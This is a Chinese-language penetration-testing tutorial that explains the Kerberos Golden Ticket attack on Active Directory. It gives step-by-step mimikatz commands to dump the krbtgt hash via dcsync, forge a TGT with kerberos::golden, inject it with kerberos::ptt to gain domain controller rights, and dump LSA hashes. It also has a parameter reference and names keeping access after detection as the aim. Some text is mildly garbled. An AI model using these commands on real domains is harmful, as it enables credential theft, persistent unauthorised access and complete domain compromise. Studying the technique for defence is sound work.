一.简易步骤
1.获取基本信息:
使用whoami /user命令获取当前域的SID值(去掉最后的-500,因为500代表Administrator用户)。
执行net config workstation查看当前所在的域信息。
2.理解Kerberos认证过程:
Kerberos认证在域渗透中扮演重要角色,需要详细了解其认证全过程,包括TGT(Ticket-Granting Ticket)和服务票据(Service Ticket)的生成和使用。
3.制作黄金票据:
黄金票据是伪造的TGT,它是Kerberos认证过程中的关键票据。
如果域内有一个SID为502的域账号krbtgt,可以通过特定方法制作黄金票据。
4.利用黄金票据:
使用黄金票据可以在没有AS-REQ或AS-REP(Kerberos认证的前两步)通信的情况下,向域控制器请求服务票据。
服务器接收到请求后,会使用其Master Key解密服务票据,从而获得会话密钥。
5.后续操作:
通过这种方式,攻击者可以绕过正常的认证流程,获取域控制器的权限。
在渗透测试中,这一步骤通常是为了确保即使被发现并清除了初始的入侵痕迹,攻击者仍然能够快速重新获得访问权限。
二.详细步骤
1.原理
黄金票据是伪造票据授予票据(TGT),也被称为认证票据。如下图所示,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信。由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。
Kerberos黄金票据是有效的TGT Kerberos票据,因为它是由域Kerberos帐户(KRBTGT)加密和签名的 。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的。
Mimikatz命令:Kerberos:Golden用于创建“黄金票据”(伪造TGT身份验证票证)
Mimikatz命令示例:
kerberos::golden /admin:ADMIINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt
kerberos::golden /admin:darthvader /domain:lab.adsercurity.org /id:2601 /sid: S-1-5-21-4155807533-921486164-2767329826 /krbtgt:8a2f1adcdd519a23515780021d2d178a /ptt
1.导出krbtgt的Hash
在域控上执行通过mimkatz输出:
mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"
找到如下信息:
/domain:test.local
/sid:S-1-5-21-4155807533-921486164-2767329826
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f
2、生成Golden Ticket
伪造的用户设置为god,执行:
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god
/ticket:gold.kirbi"
生成文件gold.kirbi
3、伪造Golden Ticket获得域控权限
导入Golden Ticket,执行如下命令:
kerberos::ptt c:\test\gold.kirbi
如图,成功获得域控权限
Tips:
生成Golden Ticket不仅可以使用aes256,也可用krbtgt的NTLM hash
可以用mimikatz "lsadump::lsa /patch"导出:
黄金票据命令参考:
Mimikatz创建黄金的命令是“kerberos :: golden”
/domain -----完整的域名,在这个例子中:“lab.adsecurity.org”
/ sid ----域的SID,在这个例子中:“S-1-5-21-1473643419-774954089-2222329127”
/ sids --- AD森林中账户/组的额外SID,凭证拥有权限进行欺骗。通常这将是根域Enterprise Admins组的“S-1-5-21-1473643419-774954089-5872329127-519”值。Ť
/ user ---伪造的用户名
/ groups(可选)---用户所属的组RID(第一组是主组)。添加用户或计算机帐户RID以接收相同的访问权限。默认组:513,512,520,518,519为默认的管理员组。
/ krbtgt---域KDC服务帐户(KRBTGT)的NTLM密码哈希值。用于加密和签署TGT。
/ ticket(可选) - 提供一个路径和名称,用于保存Golden Ticket文件以便日后使用或使用/ ptt立即将黄金票据插入内存以供使用。
/ ptt - 作为/ ticket的替代品 - 使用它来立即将伪造的票据插入到内存中以供使用。
/ id(可选) - 用户RID。Mimikatz默认值是500(默认管理员帐户RID)。
/ startoffset(可选) - 票据可用时的起始偏移量(如果使用此选项,通常设置为-10或0)。Mimikatz默认值是0。